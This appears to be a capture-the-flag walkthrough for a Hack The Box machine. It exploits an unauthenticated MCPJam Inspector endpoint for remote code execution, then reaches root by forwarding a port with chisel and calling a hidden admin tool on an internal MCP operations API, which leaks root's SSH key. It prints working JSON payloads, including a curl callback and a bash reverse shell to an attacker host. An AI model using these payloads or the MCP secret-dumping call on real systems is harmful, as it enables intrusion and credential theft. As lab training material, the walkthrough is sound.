Overview

Devhub is a Linux machine on Hack The Box. The chain is:

  1. Nmap — discover the web server and the internal 6274 MCPJam service
  2. Foothold — MCPJam RCE (CVE-2026-23744) via the unauth /api/mcp/connect endpoint
  3. Internal Enumeration — discover Jupyter (8888) and an OPSMCP API (5000) bound to localhost
  4. Root via OPSMCP — call a hidden ops._admin_dump tool to leak root’s SSH private key and ssh in as root

Recon

nmap -sC -sV -p- -O -A --min-rate=10000 <TARGET_IP>
PORT      STATE SERVICE VERSION
22/tcp    open ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp    open http     nginx 1.18.0
6274/tcp  open unknown  HTTP/1.1 200 OK

Port 6274 returned a web app titled MCPJam Inspector — a local-first development platform for MCP servers.

Before diving in, I added devhub.htb to /etc/hosts, then did subdomain fuzzing with ffuf. Nothing came across, so I moved to port 6274.

Foothold — MCPJam RCE (CVE-2026-23744)

Googling MCPJam confirmed something juicy: MCPJam Inspector versions 1.4.2 and earlier are vulnerable to remote code execution. The /api/mcp/connect API, intended for connecting to MCP servers, becomes an open entry point for unauthorized requests — it extracts command and args fields without performing any security checks.

Interesting references:

I started by sending a crafted request through Burp to confirm RCE — making the server curl my attacker box, and serving http.server 8000:

{
    "serverConfig": {
      "timeout": 10000,
      "command": "curl",
      "args": ["<ATTACKER_IP>:8000"],
      "env": {}
    },
    "serverId": "mymcp"
}

My Python HTTP server logged the inbound request from the target — RCE confirmed.

Next I uploaded and executed a shell script, and started nc -lvnp 4444:

{
    "serverConfig": {
      "timeout": 10000,
      "command": "bash",
      "args": ["-c", "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"],
      "env": {}
    },
    "serverId": "mymcp"
}
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ id
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)

Internal Service Enumeration

As mcp-dev I enumerated listening ports and processes:

mcp-dev@devhub:~$ ss -tlnp
LISTEN 0   511  0.0.0.0:6274   users:(("node-MainThread",pid=1288))
LISTEN 0   128  0.0.0.0:22     sshd
LISTEN 0   511  0.0.0.0:80     nginx
LISTEN 0   128  127.0.0.1:5000 (unlisted)
LISTEN 0   128  127.0.0.1:8888 (unlisted)
mcp-dev@devhub:~$ ps aux | grep 8888
analyst  ...  jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser \
  --notebook-dir=/home/analyst/notebooks --ServerApp.token=<REDACTED>

mcp-dev@devhub:~$ ps aux | grep 5000
root  ...  /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py

Two internal services:

  • Port 8888 — JupyterLab running as the analyst user
  • Port 5000 — an OPSMCP operations server running as root

OPSMCP — Hidden Admin Tool

Hitting port 5000 revealed an API requiring an X-API-Key:

{"auth":"Required - X-API-Key header","endpoints":["/tools/list","/tools/call","/health"],"server":"OPSMCP","status":"operational","version":"2.1.0"}

I tried to build a malicious Jupyter notebook for RCE first — it didn’t work — so I forwarded the port with chisel:

# attacker
./chisel server -p 8000 --reverse
# target
mcp-dev@devhub:/tmp$ /tmp/chisel client <ATTACKER_IP>:8000 R:8888:127.0.0.1:8888

I read /etc/systemd/system/opsmcp.service and found the service ran as root with WorkingDirectory=/opt/opsmcp. The server.py file was -rw-r----- analyst:analyst, so I couldn’t read it as mcp-dev.

With the port forwarded, I enumerated the API. The ops._debug_mode tool revealed the hidden tools:

{
  "debug": true,
  "hidden_tools": [
    "ops._admin_dump",
    "ops._debug_mode"
  ],
  "note": "Debug endpoints now accessible"
}

ops._admin_dump can dump:

  • ssh_keys → root’s private SSH key
  • passwords → all user passwords
  • tokens → admin API tokens

To become root, I dumped the SSH key:

curl -H "X-API-Key: <REDACTED>" \
  http://127.0.0.1:5000/tools/call \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'

Extract the key in a clean format:

curl -H "X-API-Key: <REDACTED>" \
  http://127.0.0.1:5000/tools/call \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}' \
  | python3 -c "import sys, json; print(json.load(sys.stdin)['root_private_key'])" > /tmp/root_key

Root — SSH in as root

Make sure to chmod 600 root_key, then:

┌──(root㉿blackXploit)-[/home/kali/Downloads/devhubhtb]
└─# ssh -i root_key root@devhub.htb

root@devhub:~# id
uid=0(root) gid=0(root) groups=0(root)
root@devhub:~# cd /root
root@devhub:~# cat root.txt
REDACTED_ROOT_FLAG

We’re root — box done.

Full Writeup (PDF)

The complete walkthrough with commands, screenshots, and payloads is available below.

Download the full PDF writeup

Any questions or feedback? Feel free to reach out to me on Discord.